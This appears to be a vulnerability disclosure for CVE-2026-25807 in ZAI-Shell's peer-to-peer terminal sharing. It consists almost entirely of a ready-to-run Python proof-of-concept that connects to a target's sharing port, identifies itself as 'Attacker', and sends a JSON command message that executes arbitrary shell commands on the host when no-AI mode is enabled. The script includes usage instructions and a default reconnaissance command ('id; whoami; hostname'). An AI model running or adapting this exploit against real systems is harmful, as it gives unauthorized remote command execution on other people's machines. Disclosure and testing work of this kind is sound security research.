ZAI-Shell — Unauthenticated Remote Code Execution via P2P Terminal Sharing (CVE-2026-25807)

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#!/usr/bin/env python3
"""
ZAI-Shell P2P RCE PoC
Tests the P2P command execution vulnerability when no_ai_mode is enabled.

Usage:
1. Start ZAI-Shell on target with: share start --no-ai
2. Run this script: python3 zai_shell_poc.py <target_ip> [port]
"""

import socket
import json
import sys
import time

def exploit(target_ip, port=5757, command="id"):
    
    print(f"[*] Connecting to {target_ip}:{port}...")
    
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(10)
        sock.connect((target_ip, port))
        
        # Send hello message
        hello = json.dumps({"type": "hello", "name": "Attacker"}) + "\n"
        sock.send(hello.encode())
        
        # Receive welcome
        time.sleep(1)
        response = sock.recv(4096).decode()
        print(f"[+] Connected! Response: {response[:200]}")
        
        # Send command
        print(f"[*] Sending command: {command}")
        cmd_msg = json.dumps({"type": "command", "command": command}) + "\n"
        sock.send(cmd_msg.encode())
        
        print("[*] Command sent. If no_ai_mode is enabled, it will execute on host.")
        print("[*] Check host terminal for approval prompt or direct execution.")
        
        # Wait for response
        time.sleep(3)
        try:
            result = sock.recv(4096).decode()
            if result:
                print(f"[+] Response: {result}")
        except:
            pass
            
        sock.close()
        return True
        
    except socket.timeout:
        print("[-] Connection timeout")
        return False
    except ConnectionRefusedError:
        print("[-] Connection refused - P2P session not started?")
        return False
    except Exception as e:
        print(f"[-] Error: {e}")
        return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target_ip> [port] [command]")
        print(f"Example: {sys.argv[0]} 192.168.1.100 5757 'id; whoami'")
        sys.exit(1)
    
    target = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 5757
    command = sys.argv[3] if len(sys.argv) > 3 else "id; whoami; hostname"
    
    exploit(target, port, command)